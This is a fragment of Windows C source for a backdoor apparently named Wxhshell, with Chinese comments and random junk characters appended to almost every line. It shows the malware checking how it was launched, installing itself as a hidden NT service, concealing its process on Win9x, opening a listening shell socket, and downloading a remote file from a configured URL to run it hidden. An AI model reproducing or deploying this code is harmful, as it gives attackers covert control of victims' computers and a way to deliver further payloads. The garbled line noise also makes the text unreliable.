ULONG UniqueProcessId; ]Y111<Ja
ULONG InheritedFromUniqueProcessId; W5cBT?V
} PROCESS_BASIC_INFORMATION; RT`.S
uN
D=1:-aLP7
PROCNTQSIP NtQueryInformationProcess; ~/^q>z!\4
`&ufdn\j
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uaghB,i'n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /M!b3bmA
WN#S%G:Q)
HANDLE hProcess; U/}YpLgdD
PROCESS_BASIC_INFORMATION pbi; 0OCmyy
PtsQV!
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RGEgYOO
if(NULL == hInst ) return 0; 7}#zF]vHNi
B^Sxp=~Au
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ /`X7a{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W% @r
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AS4mJ UU9
4}4 cA\B:n
if (!NtQueryInformationProcess) return 0; tE'^O<
K
DpQ\q;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sbv2*fno5
if(!hProcess) return 0; OFe-e(c1
@*e5(@R
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =$mPReA3v
DwmK?5 p
CloseHandle(hProcess); sg`
(yrN-M4~t
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :3b.`s(M
if(hProcess==NULL) return 0; lT^/8Z<g
-.xiq0
HMODULE hMod; Mc,3j~i
char procName[255]; ?_ 476A
unsigned long cbNeeded; ci
4K
Nv;
~aPe?{yIUa
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f8e :J#jbS
hk+8s\%-
CloseHandle(hProcess); (^pIB~.z
?7=c`
if(strstr(procName,"services")) return 1; // 以服务启动 4SVIdSA
j%+>y;).
return 0; // 注册表启动 \)$:
} =j~BAS*"
5(5:5q.A/D
// 主模块
2nf<RE>
int StartWxhshell(LPSTR lpCmdLine) IJ]rVty
{ rMWJ
SOCKET wsl; .Ht;xq
BOOL val=TRUE; }#r awVe=
int port=0; &&% oazR=
struct sockaddr_in door; k,eo+qH.Hz
}ChS cY
if(wscfg.ws_autoins) Install(); |
|"W=E
1-V"uLy@gC
port=atoi(lpCmdLine); D*&#}c,*
hT`fAn_
if(port<=0) port=wscfg.ws_port; tm&,u*6$W?
n&l(aRoyx
WSADATA data; ?wP/l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `G0k)eW
Gg e X
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; z~"Q_gme
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5G2G<[p5oQ
door.sin_family = AF_INET; j*\oK@
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?lE&ow
door.sin_port = htons(port); Nj;5iy
nuH=pIq6x
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YdDP;,
DA
closesocket(wsl); VBUrtx:
return 1; GQ(*k)'a
} \sz*M
B
C(8VXtx_
if(listen(wsl,2) == INVALID_SOCKET) { O^J=19Ri
closesocket(wsl); d.|*sZ&3p
return 1; e%s1D
} AL !ppi
Wxhshell(wsl); sZI"2[bk
WSACleanup(); 'ZJb`
EXMW,
return 0; Q6T"8K/
Fr~\ZL
} 5S<Rz) 1r
#_eXybUV
// 以NT服务方式启动 L{&>,ww
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) AJ+\Qs(0
{ wBDHhXi0
DWORD status = 0; 0!-'4+"
DWORD specificError = 0xfffffff; ebn3r:IU-
E{0e5. {
serviceStatus.dwServiceType = SERVICE_WIN32; Qr\eT}
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +BeA4d8b
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DIABR%0
serviceStatus.dwWin32ExitCode = 0; &gJ1*"$9
serviceStatus.dwServiceSpecificExitCode = 0; B(WmJ6e
serviceStatus.dwCheckPoint = 0; ;>uB$8<_7
serviceStatus.dwWaitHint = 0; ",l6-<s
!Q WNHL
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7t+d+sQ-l
if (hServiceStatusHandle==0) return; mPU}]1*p
Zs(BViTb|
status = GetLastError(); IsmZEVuC
if (status!=NO_ERROR) hraR:l
D
{ eR4ib-nS
serviceStatus.dwCurrentState = SERVICE_STOPPED; :zX^H9'E<(
serviceStatus.dwCheckPoint = 0; A!,c@Kv
3
serviceStatus.dwWaitHint = 0; i=L 86Ks
serviceStatus.dwWin32ExitCode = status; {yv_Ni*6!
serviceStatus.dwServiceSpecificExitCode = specificError; A_l\ij$Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ny{S&f
return; WMHYOJR
} Nyt*mbd5
{
~j>yQ%[v
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9N `WT=
serviceStatus.dwCheckPoint = 0; X!:J1'FE
serviceStatus.dwWaitHint = 0; #]dq^B~~
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gg.]\#3g
} i}:hmy'
Q7<Y5+
// 处理NT服务事件,比如:启动、停止 oi]XSh[_s
VOID WINAPI NTServiceHandler(DWORD fdwControl) g zlxkv-F{
{ O&MH5^I
switch(fdwControl) whYk"N
{ wK0x\V6dJ
case SERVICE_CONTROL_STOP: (kVY\!UAt
serviceStatus.dwWin32ExitCode = 0; =@
acg0
serviceStatus.dwCurrentState = SERVICE_STOPPED; -<g[P_#
serviceStatus.dwCheckPoint = 0; e`co:HO`#
serviceStatus.dwWaitHint = 0; e/cHH34
{ `+T 2IPN
SetServiceStatus(hServiceStatusHandle, &serviceStatus); HU'w[r6a
} $@@ii+W}\
return; 9i U/[d
case SERVICE_CONTROL_PAUSE: &',#j]I
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^,YTQ.O
break; >-\^ )z
case SERVICE_CONTROL_CONTINUE: ]h~F%
serviceStatus.dwCurrentState = SERVICE_RUNNING; i9Beap/t$
break; 0J^Z)U>j
case SERVICE_CONTROL_INTERROGATE: w+"E{#N
break; w>8HS+
}; c0Bqm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2<9K}Of
} z{&Av
ZJW8S
// 标准应用程序主函数 uB^"A ;0v
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %19~9Tw
{ |$6Ten[B#
Zo-,TKgY'
// 获取操作系统版本 @sG*u >
OsIsNt=GetOsVer(); t{yj`Vg
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0ETT@/)]z
'.<iV!ZdZ
// 从命令行安装 CVvl &on
if(strpbrk(lpCmdLine,"iI")) Install(); W4$aX5ow$
S !#5
// 下载执行文件 4i.&geXA.
if(wscfg.ws_downexe) { +L"F] _?
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6\u. [2lE^
WinExec(wscfg.ws_filenam,SW_HIDE); p+<qI~
} p2Gd6v.t
1) K<x
if(!OsIsNt) { x${C[gxq9F
// 如果时win9x,隐藏进程并且设置为注册表启动 Qy"%%keV'T
HideProc(); EcX7wrl9x
StartWxhshell(lpCmdLine); 34X]b[^
} jygUf|
else EZ{{p+e^
if(StartFromService())
5Pq6X
// 以服务方式启动 9od c :
StartServiceCtrlDispatcher(DispatchTable); J~xm[^0
else `q\F C[W
// 普通方式启动 /k?l%AH
StartWxhshell(lpCmdLine); H{yBDxw
"!(@MfjT
return 0; lz6CK
}